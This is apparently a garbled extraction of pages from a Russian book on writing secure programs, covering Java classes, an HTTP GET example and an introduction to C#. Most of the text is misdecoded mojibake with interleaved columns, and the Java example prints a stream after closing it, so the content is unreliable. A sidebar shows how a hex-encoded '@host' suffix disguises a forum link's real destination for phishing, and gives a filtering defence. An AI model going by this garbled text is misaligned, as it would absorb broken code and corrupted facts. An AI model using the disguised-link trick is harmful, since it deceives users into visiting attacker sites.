5 Location Position; /* òèï Location äîëæåí áûòü ãäå-òî îïðåäåëåí
( int num ) îçíà÷àåò, ÷òî ìåòîä ïðèíèìàåò â êà÷åñòâå àðãóìåíòà îäíî öåëîå 6 è ïðåäñòàâëÿòü ïðîñòðàíñòâåííûå êîîðäèíàòû (x,y,z) */
÷èñëî, êîòîðîå áóäåò îáîçíà÷àòüñÿ num. Ïðåäëîæåíèå return ãîâîðèò î òîì, 7 plane( int W, int S, int M, Location P ){
êàêîå èìåííî çíà÷åíèå ìåòîä âîçâðàùàåò. 8 Weight = W;
9 Speed = S;
10 Maneuverability = M;
Классы 11 Position = P;
12 }
Îáúåêòíî-îðèåíòèðîâàííûå ïðîãðàììû îðãàíèçîâàíû â âèäå íàáîðà êëàñ- 13
ñîâ. Êëàññ – ýòî äèñêðåòíàÿ åäèíèöà ïðîãðàììû, îáëàäàþùàÿ îïðåäåëåííû- 14 SetWeight( plane current, int W ){
56 Глава 1. Написание безопасных программ Язык Java 57
15 ñurrent.Weight = W;
16 }
Получение заголовков HTTP
17 Ïðè íàïèñàíèè ïðîãðàìì äëÿ ðàáîòû ñ ñåòüþ è îáåñïå÷åíèÿ áåçîïàñíîñòè íå
18 /* Ìåòîäû SetSpeed, SetManeuverability, SetPosition,
çàáûâàéòå î ñðåäñòâàõ, óæå èìåþùèõñÿ â òîì èëè èíîì ÿçûêå. Â ïðèìåðå
MovePosition òîæå äîëæíû áûòü îïðåäåëåíû */
19 } 1.17 ïðèâåäåíà ïðîãðàììà, êîòîðàÿ ïîëó÷àåò çàãîëîâêè, ïðèñëàííûå â îòâåòå
íà çàïðîñ ïî ïðîòîêîëó HTTP (Hypertext Transfer Protocol) ê çàäàííîìó URL.
Ýòîò êîä ñëóæèò äëÿ èíèöèàëèçàöèè îáúåêòà êëàññà plane. Ïðè âûçîâå ìå-
òîäà plane çàäàþòñÿ âñå õàðàêòåðèñòèêè, êîòîðûìè äîëæåí îáëàäàòü ñàìî-
Пример 1.17. Получение заголовков HTTP
1 import java.net.URL;
ëåò: âåñ, ñêîðîñòü, ìàíåâðåííîñòü è ïîëîæåíèå. Íà ïðèìåðå ìåòîäà SetWeight 2 import java.net.URLConnection;
ïîêàçàíî, êàê ìîæíî âêëþ÷èòü â êëàññ îïåðàöèþ íàä îïèñûâàåìûì èì 3 import java.io.*;
îáúåêòîì. 4 import java.util.*;
Ñèìóëÿòîð ìîæåò ñîçäàòü íåñêîëüêî ýêçåìïëÿðîâ êëàññà plane è âûïîëíèòü 5
6 public class HTTPGET{
«ïðîáíûå ïîëåòû» äëÿ îöåíêè âëèÿíèÿ ðàçëè÷íûõ õàðàêòåðèñòèê. Íàïðèìåð, 7 public static void main (String [] Args){
ñàìîëåò plane1 ìîæåò âåñèòü 5000 ôóíòîâ, ëåòàòü ñî ñêîðîñòüþ 500 ìèëü/÷àñ 8 try{
è îáëàäàòü ìàíåâðåííîñòüþ 10, òîãäà êàê äëÿ ñàìîëåòà plane2 ìîæíî çàäàòü 9 FileWriter file = new FileWriter( "OutFile" );
ñëåäóþùèå ïàðàìåòðû: âåñ 6000 ôóíòîâ, ñêîðîñòü 600 ìèëü/÷àñ, ìàíåâðåí- 10 PrintWriter OutputFile = new PrintWriter( file );
11
íîñòü 8.  ÿçûêå Java ýêçåìïëÿðû êëàññà ñîçäàþòñÿ ñ ïîìîùüþ êëþ÷åâîãî 12 URL url = new URL( "http://www.google.com" );
ñëîâà new. Ñêàæåì, îáúåêò plane1 ìîæíî ñîçäàòü ñ ïîìîùüþ òàêèõ ïðåäëî- 13 URLConnection urlConnection = url.openConnection();
æåíèé: 14 InputStream IS = urlConnection.getInputStream();
15
plane plane1; 16 IS.close();
Location p; 17 OutputFile.print( IS );
p = new Location( 3, 4, 5 ); 18 } catch (Exception e) { System.out.println("Error"); }
plane1 = new plane(5.000, 500, 10, p ); 19 }
20 }
Íàñëåäîâàíèå ïîçâîëÿåò ïðîãðàììèñòàì ñîçäàâàòü èåðàðõèè êëàññîâ.
Êëàññû îðãàíèçóþòñÿ â äðåâîâèäíûå ñòðóêòóðû, â êîòîðûõ ó êàæäîãî êëàññà Ýòà ïðîãðàììà äåìîíñòðèðóåò, êàê íà ÿçûêå Java ìîæíî îòïðàâèòü HTTP-
åñòü «ðîäèòåëè» è, âîçìîæíî, «ïîòîìêè». Êëàññ «íàñëåäóåò», òî åñòü ìîæåò çàïðîñ òèïà GET è âûâåñòè ïîëó÷åííûé ðåçóëüòàò â ôàéë. Òî è äðóãîå ÷àñòî
ïîëüçîâàòüñÿ ôóíêöèÿìè ëþáîãî èç ñâîèõ ðîäèòåëåé, íàçûâàåìûõ òàêæå åãî áûâàåò íóæíî ïðè ðåàëèçàöèè ñåòåâûõ èíñòðóìåíòîâ. Ïîñðåäñòâîì ñòðîê
ñóïåðêëàññàìè. Íàïðèìåð, åñëè êëàññ plane ÿâëÿåòñÿ ïîäêëàññîì êëàññà vehicle, 1–4 èìïîðòèðóþòñÿ áèáëèîòåêè, íåîáõîäèìûå äëÿ óñòàíîâëåíèÿ ñîåäèíåíèÿ
ñ çàäàííûì URL è äëÿ ââîäà/âûâîäà. Â ñòðîêàõ 9 è 10 èíèöèàëèçèðóåòñÿ îáúåêò
òî îáúåêò êëàññà plane èìååò äîñòóï êî âñåì ìåòîäàì, êîòîðûå ìîæíî âû-
êëàññà FileWriter è çàäàåòñÿ âûõîäíîé ôàéë äëÿ íåãî, çàòåì ñîçäàåòñÿ îáúåêò
ïîëíÿòü íàä îáúåêòîì êëàññà vehicle.
PrintWriter, êîòîðûé áóäåò îñóùåñòâëÿòü âûâîä â ýòîò ôàéë (ñòðîêà 17).
Ó êëàññîâ åñòü ìíîãî ïðåèìóùåñòâ, íåäîñòàþùèõ äðóãèì èìåþùèìñÿ
Äëÿ ñîçäàíèÿ ñîåäèíåíèÿ ñ ïîìîùüþ êëàññà java.net.URLConnection íóæíî
â ÿçûêå òèïàì. Îíè ïðåäîñòàâëÿþò ýôôåêòèâíîå ñðåäñòâî äëÿ îðãàíèçà-
âûïîëíèòü íåñêîëüêî øàãîâ. Ñíà÷àëà ìåòîäîì openConnection() ñîçäàåòñÿ
öèè ïðîãðàììû â âèäå íàáîðà ìîäóëåé, êîòîðûì ìîæíî íàñëåäîâàòü. Ìîæ- îáúåêò, ïðåäñòàâëÿþùèé ñîåäèíåíèå. Äàëåå äëÿ íåãî ìîãóò áûòü çàäàíû ðàç-
íî òàêæå ñîçäàâàòü àáñòðàêòíûå êëàññû, âûñòóïàþùèå â ðîëè èíòåðôåé- ëè÷íûå ïàðàìåòðû, ïîñëå ÷åãî ñîåäèíåíèå îòêðûâàåòñÿ ìåòîäîì connect().
ñîâ. Èíòåðôåéñ îïðåäåëÿåò, íî íå ðåàëèçóåò íåêîòîðóþ ôóíêöèîíàëüíîñòü, Ïîñëå òîãî êàê ñîåäèíåíèå óñòàíîâëåíî, äàííûå èç íåãî ñ÷èòûâàþòñÿ â îáúåêò
îñòàâëÿÿ ýòó çàäà÷ó ñâîèì ïîäêëàññàì. Äàííûå êëàññà ìîæíî îáúÿâëÿòü IS êëàññà InputStream. Â ñòðîêå 16 ïîòîê çàêðûâàåòñÿ, è â ñòðîêå 17 åãî ñîäåð-
çàêðûòûìè, ãàðàíòèðóÿ òåì ñàìûì, ÷òî äîñòóï ê âíóòðåííåìó ñîñòîÿíèþ æèìîå âûâîäèòñÿ â ôàéë.
êëàññà âîçìîæåí ëèøü ñ ïîìîùüþ ñïåöèàëüíî ïðåäóñìîòðåííûõ äëÿ ýòîãî Åñëè â ïðîöåññå âûïîëíåíèÿ âîçìîæíî âîçíèêíîâåíèå èñêëþ÷åíèé, â Java
ìåòîäîâ. ïðèìåíÿþòñÿ îïåðàòîðíûå ñêîáêè try è catch (ñòðîêè 8 è 18), â êîòîðûõ çàêëþ-
58 Глава 1. Написание безопасных программ Язык C# 59

÷åí ïîòåíöèàëüíî îïàñíûé êîä.  ñòðîêå catch óêàçûâàåòñÿ òèï è èìÿ îæèäà-
любым инструментом для перекодировки из кода ASCII в 16ричную
åìîãî èñêëþ÷åíèÿ, à çàòåì äåéñòâèÿ, êîòîðûå ñëåäóåò ïðåäïðèíÿòü ïðè åãî
форму (такая программа есть, скажем, на сайте http://d21c.com//
âîçíèêíîâåíèè.
sookietex/ASCII2HEX.html).
Äëÿ ðàáîòû íà óðîâíå ñîêåòîâ â Java èìåþòñÿ äîïîëíèòåëüíûå êëàññû, íà-
ïðèìåð:
Как предотвратить
Защититься от такой атаки на вашем форуме несложно. Напишите
java.net.socket
java.net.serversocket фильтрующий сценарий, который проверяет, что в любой опублико
java.net.datagramsocket ванной пользователем ссылке после имени домена имеется символ
java.net.multicastsocket
«/». Тогда приведенная выше ссылка после фильтрации приобретет
такой вид:
Çàìåòèì, âïðî÷åì, ÷òî íè îäèí èç íèõ íå äàåò äîñòóïà ê ïðîñòûì (raw)
http://www.google.com/
ñîêåòàì. Åñëè ýòî íåîáõîäèìî, ïðèäåòñÿ îáðàòèòüñÿ ê ÿçûêàì C, C++ èëè C#.
story=%40%77%77%77%2E%79%61%68%6F%6F%2E%63%6F%6D
Теперь попытка перейти по этой ссылке приведет к ошибке, так что
атака не состоялась. Отметим, что некоторые современные браузе
Примечание ры уже содержат защиту от подобной уловки. К примеру, Firefox пре
Посетителей Webсайтов часто обманом вынуждают сообщить пре дупреждает пользователя об опасности.
ступникам секретные данные, например, номер кредитной карты
или социального страхования. Хакер может провести такую атаку,
скопировав внешний облик чужого сайта на своем сервере, так что
посетитель по ошибке примет его за настоящий сайт. Один из про
Язык C#
стейших способов реализовать эту уловку заключается в том, чтобы Â äåêàáðå 2001 ãîäà êîìïàíèÿ Microsoft âûïóñòèëà â îáðàùåíèå ÿçûê C#. Îí
разместить на публичном форуме ссылку, которая на первый взгляд ñïðîåêòèðîâàí Àíäåðñîì Õåéëüñáåðãîì (Anders Hejlsberg) è ïðåäíàçíà÷åí
выглядит вполне обычно, но ведет совершенно не туда, куда кажется ïðåæäå âñåãî äëÿ íàïèñàíèÿ êîìïîíåíòîâ Web-ñåðâèñîâ íà ïëàòôîðìå .NET.
на первый взгляд. Например, добропорядочный пользователь при Çà ïðåäøåñòâóþùåå äåñÿòèëåòèå ÿçûê Java ïðèîáðåë øèðîêóþ ïîïóëÿðíîñòü
глашает посетителей форума прочитать новость по такому адресу: áëàãîäàðÿ ñâîåé ïåðåíîñèìîñòè, ïðîñòîòå è ìîùíîé áèáëèîòåêå êëàññîâ.
http://www.google.com/?news=story1.html Õîòÿ î ïðè÷èíàõ, ïî êîòîðûì Microsoft ðåøèëà çàíÿòüñÿ ðàçðàáîòêîé C#, âå-
Хакер же может разместить похожую ссылку, которая переадресует äóòñÿ îæåñòî÷åííûå ñïîðû, ìîæíî ñ÷èòàòü ýòî îòâåòîì íà ïîïóëÿðíîñòü
посетителя совсем в другое место: Java. Îæèäàåòñÿ ÷òî ïî ìåðå ðàñïðîñòðàíåíèÿ ïëàòôîðìû .NET Framework
http://www.google.com ìíîãèå ïðîãðàììèñòû, ðàáîòàþùèå íà C++ è Visual Basic, ïåðåéäóò íà C#.
story=%40%77%77%77%2E%79%61%68%6F%6F%2E%63%6F%6D Õîòÿ ÿçûê C# è ðàçðàáîòàí êîìïàíèåé Microsoft, îí íå ÿâëÿåòñÿ åå ñîá-
Можете ли вы сказать, куда попадете, щелкнув по такой ссылке? ñòâåííîñòüþ. Çà ñòàíäàðòèçàöèþ C# îòâå÷àåò Åâðîïåéñêàÿ àññîöèàöèÿ èçãî-
Оказывается, на http://www.yahoo.com. Переадресация обеспечива òîâèòåëåé êîìïüþòåðîâ (European Computer Manufacturers Association). Ýòîò
ется символами, указанными в конце URL. Эти символы представле ôàêò â êàêîé-òî ìåðå ñíèìàåò îïàñåíèÿ, ÷òî Microsoft ìîæåò ââåñòè îãðàíè-
ны в 16ричной кодировке и соответствуют строке ÷åíèÿ íà èñïîëüçîâàíèå ÿçûêà â ÷óæèõ ïðîäóêòàõ.
@www.yahoo.com
Обман основан на ранней схеме аутентификации через Web, когда
пользователь получал доступ к сайту, задав URL в формате http:// Основания для перехода на C#
user@site. В этом случае Webбраузер пытался обратиться к сайту, Åñëè âåðèòü çàÿâëåíèÿì Microsoft, .NET ñòàíåò ïëàòôîðìîé äëÿ ðàçðàáîòêè
указанному после символа @. Чтобы быстро создать зловредные Web-ñåðâèñîâ, íà êîòîðîé ñìîãóò âçàèìîäåéñòâîâàòü êîìïîíåíòû, íàïèñàí-
ссылки в указанном формате, хакеру достаточно воспользоваться íûå íà ðàçíûõ ÿçûêàõ. Õîòÿ .NET ïîääåðæèâàåò ìíîãî ÿçûêîâ, íî îñíîâíûì
60 Глава 1. Написание безопасных программ Язык C# 61

äëÿ íåå ÿâëÿåòñÿ C#. Ðàçðàáîò÷èêè, ïðèâûêøèå ïðîãðàììèðîâàòü â ñðåäå Vi-  Ñîêðûòèå äàííûõ
äàííûõ. Îáúåêòû, òî åñòü ýêçåìïëÿðû êëàññà ìîãóò ñîäåð-
sual Studio, îáíàðóæàò, ÷òî ïåðåõîä îò Visual C++ ê Visual C#.NET íåñëîæåí. æàòü äàííûå, êîòîðûå íå ìîãóò áûòü èçìåíåíû èíà÷å êàê ñ ïîìîùüþ
C# ñòàíåò ÿçûêîì ïî óìîë÷àíèþ äëÿ ðàçðàáîòêè ïðîãðàìì äëÿ Windows. ìåòîäîâ ñàìîãî ýòîãî êëàññà. Ïðîãðàììèñò ìîæåò ñêðûòü äàííûå, íà-
Äà, àðõèòåêòóðíî-íåéòðàëüíûé ÿçûê Java ìîæåò ðàáîòàòü òàêæå è â Windows, çíà÷èâ èì àòðèáóò «private» (çàêðûòûé);
íî â C# âñòðîåíû ìíîãèå âîçìîæíîñòè, ñïåöèôè÷íûå èìåííî äëÿ ýòîé ÎÑ.  Àáñòðàêòíûå òèïû äàííûõ
äàííûõ. Ïðîãðàììèñò ìîæåò îïðåäåëèòü êëàññ,
Íàïðèìåð, ñ ïîìîùüþ C# ëåãêî îáðàùàòüñÿ ê òàêèì îñîáåííîñòÿì Windows, êîòîðûé ìîæíî ïðåäñòàâëÿòü ñåáå êàê îáîáùåíèå ñòðóêòóðû (struct),
êàê ãðàôè÷åñêèé èíòåðôåéñ ïîëüçîâàòåëÿ è ñåòåâûå ñëóæáû. Ïðîãðàììû, èìåþùåéñÿ â ÿçûêå C. Êëàññ îïèñûâàåò îïðåäåëåííûé ïðîãðàììèñòîì
íàïèñàííûå íà C++, ñðàâíèòåëüíî ëåãêî ïåðåíîñÿòñÿ íà C#, òîãäà êàê ïåðå- òèï äàííûõ âìåñòå ñ îïåðàöèÿìè, ïðèìåíèìûìè ê îáúåêòàì ýòîãî òèïà.
ïèñûâàíèå èõ íà Java òðåáóåò çíà÷èòåëüíûõ óñèëèé.
Ïðè ðàçðàáîòêå Web-ñåðâèñîâ âûáîð ñîâðåìåííîãî ÿçûêà îñîáåííî âà- Ïðî÷èå âîçìîæíîñòè
æåí. Java è C# îáåñïå÷èâàþò íåçàâèñèìîñòü îò ïëàòôîðìû, ïðåäîñòàâëÿþò ßçûê C# ïðåäëàãàåò òàêæå ñëåäóþùèå âîçìîæíîñòè:
âñå ïðåèìóùåñòâà îáúåêòíî-îðèåíòèðîâàííîãî ïðîãðàììèðîâàíèÿ è ñîêðà-
ùàþò âðåìÿ ðàçðàáîòêè çà ñ÷åò òàêèõ ìåõàíèçìîâ êàê àâòîìàòè÷åñêîå óïðàâ-  Àâòîìàòè÷åñêóþ ñáîðêó ìóñîðà ñ ïîìîùüþ ìåõàíèçìîâ, âñòðîåííûõ
ëåíèå ïàìÿòüþ. Êðîìå òîãî, C# ëåãêî îñâàèâàåòñÿ ïðîãðàììèñòàìè, ÷òî â ñðåäó èñïîëíåíèÿ .NET;
óìåíüøàåò ðàñõîäû íà îáó÷åíèå. Áëàãîäàðÿ íàëè÷èþ ìíîãèõ äîñòîèíñòâ è  Êëàññû â C# ìîãóò ñíàáæàòüñÿ ìåòàäàííûìè, õðàíÿùèìèñÿ â âèäå àò-
ëèøü íåìíîãèõ íåäîñòàòêîâ, áîëüøîå ÷èñëî êîìïàíèé ñ÷èòàþò C# ýêîíîìè- ðèáóòîâ. ×ëåíû êëàññà ìîãóò áûòü îáúÿâëåíû êàê publ ic, protected,
÷åñêè îïðàâäàííûì âûáîðîì. internal, protected internal èëè private â çàâèñèìîñòè îò òîãî, êàêóþ ñâî-
áîäó äîñòóïà ê íèì æåëàòåëüíî ïðåäîñòàâèòü;
 Â C# ëåãêî ðåàëèçóåòñÿ óïðàâëåíèå âåðñèÿìè. Ïðîãðàììèñò ìîæåò õðà-
Характеристики языка íèòü ðàçëè÷íûå âåðñèè îòêîìïèëèðîâàííûõ ôàéëîâ â ðàçíûõ ïðî-
C# – ýòî ñîâðåìåííûé ïëàòôîðìåííî-íåçàâèñèìûé (ïî êðàéíåé ìåðå, òåîðå- ñòðàíñòâàõ èìåí. Ýòî ìîæåò ñóùåñòâåííî ñîêðàòèòü âðåìÿ ðàçðàáîòêè
òè÷åñêè) îáúåêòíî-îðèåíòèðîâàííûé ÿçûê ïðîãðàììèðîâàíèÿ. Íîâåéøèå êðóïíûõ ïðîåêòîâ;
âîçìîæíîñòè ñî÷åòàþòñÿ â íåì ñ ñèíòàêñèñîì, ïîõîæèì íà C/C++, ïîýòîìó   C# óïðîùåí ìåõàíèçì îáõîäà êîëëåêöèé (ñòðóêòóð, ïîäîáíûõ ìàññè-
îïûòíûì ïðîãðàììèñòàì äîñòàòî÷íî ïðîñòî âûó÷èòü íîâûé ÿçûê. C# îòëè- âàì) çà ñ÷åò èñïîëüçîâàíèÿ âñòðîåííûõ èòåðàòîðîâ. Êîíñòðóêöèÿ
÷àåòñÿ îò Java, â ÷àñòíîñòè, òåì, ÷òî íàëàãàåò ìåíüøå îãðàíè÷åíèé è â ýòîì foreach ïîçâîëÿåò ïåðåáðàòü âñå ýëåìåíòû êîëëåêöèè;
îòíîøåíèè áîëüøå íàïîìèíàåò C++. Êàê è C++, C# ïîääåðæèâàåò ïðÿìóþ   C# ââåäåíî ïîíÿòèå äåëåãàòà. Ìîæíî ñ÷èòàòü ýòî íåêèì àíàëîãîì
êîìïèëÿöèþ â ìàøèííûé êîä, èìååò ïðåïðîöåññîð è ñòðóêòóðû. óêàçàòåëÿ íà ìåòîä. Äåëåãàò ñîäåðæèò èíôîðìàöèþ î òîì, êàê âûçû-
âàòü ìåòîä îáúåêòà. Äåëåãàòû øèðîêî ïðèìåíÿþòñÿ â C# äëÿ ðåàëèçà-
Îáúåêòíî-îðèåíòèðîâàííûå âîçìîæíîñòè öèè îáðàáîò÷èêîâ ñîáûòèé.
C# – îáúåêòíî-îðèåíòèðîâàííûé ÿçûê ïðîãðàììèðîâàíèÿ, ÷òî îçíà÷àåò íà-
ëè÷èå ñëåäóþùèõ äîñòîèíñòâ:
Áåçîïàñíîñòü
Ìîäåëü áåçîïàñíîñòè â C# ñïðîåêòèðîâàíà ñ ó÷åòîì ñðåäû èñïîëíåíèÿ .NET è
 Èíêàïñóëÿöèÿ
Èíêàïñóëÿöèÿ. Çà ñ÷åò èñïîëüçîâàíèÿ êëàññîâ îáúåêòíî-îðèåíòèðî-
ïðåäîñòàâëÿåò ñëåäóþùèå âîçìîæíîñòè:
âàííûé êîä èìååò î÷åíü õîðîøóþ îðãàíèçàöèþ è îáëàäàåò âûñîêîé
ìîäóëüíîñòüþ. Äàííûå è ìåòîäû äëÿ âûïîëíåíèÿ îïåðàöèé íàä íèìè  Ïîëíîìî÷èÿ (permissions).  ïðîñòðàíñòâå èìåí System.Security.Per-
èíêàïñóëèðîâàíû â ñòðóêòóðó êëàññà; missions ñîñðåäîòî÷åíà âñÿ ôóíêöèîíàëüíîñòü, îòíîñÿùàÿñÿ ê ïîëíî-
 Íàñëåäîâàíèå
Íàñëåäîâàíèå. Îáúåêòíî-îðèåíòèðîâàííàÿ îðãàíèçàöèÿ è èíêàïñóëÿ- ìî÷èÿì êîäà. Ïðîãðàììà ìîæåò îïðåäåëÿòü ïîëíîìî÷èÿ è çàïðàøè-
öèÿ ïîçâîëÿþò áåç òðóäà ðåàëèçîâàòü ïîâòîðíîå èñïîëüçîâàíèå èëè âàòü èõ ó âûçûâàþùåé ïðîãðàììû. Ñóùåñòâóåò òðè òèïà ïîëíîìî÷èé:
«íàñëåäîâàíèå» ðàíåå íàïèñàííîãî êîäà. Íàñëåäîâàíèå ýêîíîìèò âðå- íà èñïîëíåíèå êîäà, ïðîâåðêè èäåíòè÷íîñòè è ðîëåâûå;
ìÿ, òàê êàê ïðîãðàììèñòó íå íóæíî çàíîâî êîäèðîâàòü óæå èìåþùóþ-  Ïîëèòèêè áåçîïàñíîñòè
áåçîïàñíîñòè. Àäìèíèñòðàòîð ìîæåò ñîçäàòü ïîëèòèêó áå-
ñÿ ôóíêöèîíàëüíîñòü; çîïàñíîñòè, íàëàãàþùóþ îãðàíè÷åíèÿ íà òå îïåðàöèè, êîòîðûå ìîæåò
62 Глава 1. Написание безопасных программ Язык C# 63

âûïîëíÿòü ïðîãðàììà. Çà ñîáëþäåíèåì ýòèõ îãðàíè÷åíèé ñëåäèò îáùå- ïàñíûé). Îáúåêòû, íà êîòîðûå ññûëàþòñÿ óêàçàòåëè, íå ïîäâåðãàþòñÿ ñáîðêå
ÿçûêîâàÿ ñðåäà èñïîëíåíèÿ .NET (CLR – Common Language Runtime); ìóñîðà.  C# èìåþòñÿ ñëåäóþùèå çíà÷àùèå òèïû:
 Ïðèíöèïàëû
Ïðèíöèïàëû. Ïðèíöèïàë âûïîëíÿåò äåéñòâèÿ îò èìåíè ïîëüçîâàòåëÿ.  Byte
Byte. Òèïîì byte ïðåäñòàâëÿåòñÿ öåëîå ÷èñëî, çàíèìàþùåå 1 áàéò ïàìÿòè;
Ñèñòåìà àóòåíòèôèöèðóåò ïðèíöèïàëà ñ ïîìîùüþ âåðèòåëüíûõ ãðà-  Sbyte
Sbyte. Òèïîì sbyte ïðåäñòàâëÿåòñÿ öåëîå ÷èñëî ñî çíàêîì, çàíèìàþùåå
ìîò, ïðåäîñòàâëÿåìûõ åãî àãåíòîì. Ñðåäà èñïîëíåíèÿ .NET ãàðàíòèðó-
1 áàéò ïàìÿòè;
åò, ÷òî ïðîãðàììà ñìîæåò óñïåøíî çàâåðøèòü ëèøü òå äåéñòâèÿ, êîòî-
 Short
Short. Òèï short ñëóæèò äëÿ ïðåäñòàâëåíèÿ öåëûõ ÷èñåë ñî çíàêîì, çàíè-
ðûå åé ðàçðåøåíû.
ìàþùèõ 2 áàéòà ïàìÿòè;
 Áåçîïàñíîñòü ïî îòíîøåíèþ ê òèïàì
òèïàì. C# ãàðàíòèðóåò, ÷òî ïðîãðàì-
 Ushort
Ushort. Òèï ushort ñëóæèò äëÿ ïðåäñòàâëåíèÿ áåççíàêîâûõ öåëûõ ÷èñåë
ìà ñìîæåò ïîëó÷èòü äîñòóï òîëüêî ê îòêðûòîé äëÿ íåå ïàìÿòè.
ñî çíàêîì, çàíèìàþùèõ 2 áàéòà ïàìÿòè;
 Int
Int. Òèï int ñëóæèò äëÿ ïðåäñòàâëåíèÿ öåëûõ ÷èñåë ñî çíàêîì, çàíèìàþ-
Пример «Здравствуй, мир!» на языке C# ùèõ 4 áàéòà ïàìÿòè;
Ïðîãðàììó «Çäðàâñòâóé, ìèð!» (Hello, world!) ÷àñòî ïðèâîäÿò â ïðèìåð, êàê  Uint
Uint. Òèï uint ñëóæèò äëÿ ïðåäñòàâëåíèÿ áåççíàêîâûõ öåëûõ ÷èñåë, çà-
ïðîñòåéøóþ èç âîçìîæíûõ ïðîãðàìì íà äàííîì ÿçûêå. Íà÷èíàþùèå ïðî- íèìàþùèõ 4 áàéòà ïàìÿòè;
ãðàììèñòû íà ýòîì ïðèìåðå îñâàèâàþò áàçîâóþ ñòðóêòóðó ÿçûêà, ó÷àòñÿ  Long
Long. Òèï long ñëóæèò äëÿ ïðåäñòàâëåíèÿ öåëûõ ÷èñåë ñî çíàêîì, çàíè-
ïîëüçîâàòüñÿ êîìïèëÿòîðîì è çàïóñêàòü ïðîãðàììó íà âûïîëíåíèå. Íèæå ìàþùèõ 8 áàéòîâ ïàìÿòè;
ïðèâåäåí òåêñò òàêîé ïðîãðàììû íà ÿçûêå C#.  Ulong
Ulong. Òèï ulong ñëóæèò äëÿ ïðåäñòàâëåíèÿ áåççíàêîâûõ öåëûõ ÷èñåë,
çàíèìàþùèõ 8 áàéòîâ ïàìÿòè;
Пример 1.18. Здравствуй, мир!  Float
Float. Òèïîì float ïðåäñòàâëÿþò ÷èñëà ñ ïëàâàþùåé òî÷êîé, ïîä êîòî-
using System; ðûå îòâîäèòñÿ 4 áàéòà;
class HelloWorld{  Double
Double. Òèï double ñëóæèò äëÿ ïðåäñòàâëåíèÿ ÷èñåë ñ ïëàâàþùåé òî÷-
public static void Main() {
Console.WriteLine("Hello, world!"); êîé äâîéíîé òî÷íîñòè. Äëÿ íèõ îòâîäèòñÿ 8 áàéòîâ;
}  Object
Object. Ýòî áàçîâûé òèï, íå èìåþùèé îòäåëüíîãî ïðåäñòàâëåíèÿ;
}
 Decimal
Decimal. Ýòî ÷èñëîâîé òèï, ïðèìåíÿåìûé äëÿ ôèíàíñîâûõ ðàñ÷åòîâ.
Ïîä íåãî îòâîäèòñÿ 8 áàéòîâ, çíà÷åíèÿ ýòîãî òèïà äîëæíû ñîïðîâîæ-
Ýòà ïðîãðàììà î÷åíü íàïîìèíàåò ñîñòàâëåííóþ íà ÿçûêå Java. Êëàññ Hello-
äàòüñÿ ñóôôèêñîì «M»;
World ñîäåðæèò åäèíñòâåííûé ìåòîä Main, êîòîðîìó íå ïåðåäàþòñÿ íèêàêèå
 String
String. Òèïîì string ïðåäñòàâëÿåòñÿ ïîñëåäîâàòåëüíîñòü ñèìâîëîâ â êî-
àðãóìåíòû. Ýòîò ìåòîä îòêðûòûé (public), òî åñòü ê íåìó ìîæíî îáðàùàòüñÿ
äèðîâêå Unicode. Ðàçìåð ñòðîê íå ôèêñèðîâàí;
èçâíå êëàññà HelloWorld. Îí íå âîçâðàùàåò çíà÷åíèÿ, î ÷åì ãîâîðèò êëþ÷å-
 Char
Char. Òèï char ñëóæèò äëÿ ïðåäñòàâëåíèÿ ñèìâîëîâ. Â ÿçûêå C# ñèìâîë
âîå ñëîâî void.  C# ìåòîä WriteLine ÿâëÿåòñÿ ÷ëåíîì êëàññà Console. Îí ïå÷à-
õðàíèòñÿ â êîäèðîâêå Unicode è çàíèìàåò 16 áèòîâ;
òàåò ñòðîêó «Hello, world!» íà ñòàíäàðòíûé âûâîä.
 Boolean
Boolean. Òèïîì boolean ìîæíî ïðåäñòàâèòü îäíî èç äâóõ çíà÷åíèé:
true èëè false. Îí çàíèìàåò 1 áàéò.
Типы данных  ïëàòôîðìåííî-çàâèñèìûõ ÿçûêàõ, ê êîòîðûì îòíîñèòñÿ, â ÷àñòíîñòè, C,
Òèïû äàííûõ ñëóæàò â ÿçûêàõ ïðîãðàììèðîâàíèÿ äëÿ îïðåäåëåíèÿ ïåðåìåí- òî÷íûé îáúåì ïàìÿòè, îòâîäèìîé ïîä õðàíåíèå äàííûõ ðàçíûõ òèïîâ, ÷àñòî
íûõ äî èõ èíèöèàëèçàöèè. Òèï îïðåäåëÿåò, êàê ïåðåìåííàÿ áóäåò ðàçìåùåíà íå îïðåäåëåí. Íàïðîòèâ, â C# è â J#, êàê è â Java ðàçìåð è ôîðìàò âñåõ òèïîâ
â ïàìÿòè è êàêèå äàííûå îíà ìîæåò ñîäåðæàòü. Ãîâîðÿò, ÷òî ïåðåìåííàÿ äàííûõ ñïåöèôèöèðîâàíû â ñàìîì ÿçûêå. Ïðîãðàììèñòàì íå íàäî äóìàòü
ÿâëÿåòñÿ ýêçåìïëÿðîì íåêîòîðîãî òèïà äàííûõ. Â ÿçûêå C# åñòü äâå ðàçíî- î ñèñòåìíûõ îñîáåííîñòÿõ.
âèäíîñòè òèïîâ äàííûõ: çíà÷àùèå è ññûëî÷íûå.  îòëè÷èå îò Java, â C# íåò  C# èìåþòñÿ òàêæå ññûëî÷íûå òèïû. Ïåðåìåííûå òàêîãî òèïà íå ñîäåð-
ïðèìèòèâíûõ òèïîâ, íàïðèìåð, int.  C# âñå äàííûå ÿâëÿþòñÿ îáúåêòàìè. æàò çíà÷åíèÿ, à óêàçûâàþò íà êàêîé-òî àäðåñ â ïàìÿòè. Ìàññèâû, îáúåêòû è
 C# òàêæå ðàçðåøåí ïðÿìîé äîñòóï ê ïàìÿòè ñ ïîìîùüþ óêàçàòåëåé, íî èíòåðôåéñû – âñå ýòî äàííûå ññûëî÷íûõ òèïîâ. Íà ðèñ 1.3 ïðèâåäåíà êëàññè-
òîëüêî âíóòðè ó÷àñòêîâ êîäà, ïîìå÷åííûõ êëþ÷åâûì ñëîâîì unsafe (íåáåçî- ôèêàöèÿ òèïîâ â ÿçûêå C#.
64 Глава 1. Написание безопасных программ Язык C# 65

Èç âñåõ öèêëîâ for èñïîëüçóåòñÿ ÷àùå âñåãî.  íà÷àëå âûïîëíåíèÿ öèêëà


object
ïðîãðàììà âû÷èñëÿåò íà÷àëüíîå âûðàæåíèå è ïðîâåðÿåò ñëåäóþùåå çà íèì
óñëîâèå. Åñëè óñëîâèå èñòèííî, âûïîëíÿåòñÿ òåëî öèêëà («áëîê ïðåäëîæå-
Ссылоч)
íèé»). Â êîíöå öèêëà ïðîèçâîäèòñÿ îïåðàöèÿ, óêàçàííàÿ íà òðåòüåé â çàãîëîâ-
Предопределенные типы

ные типы
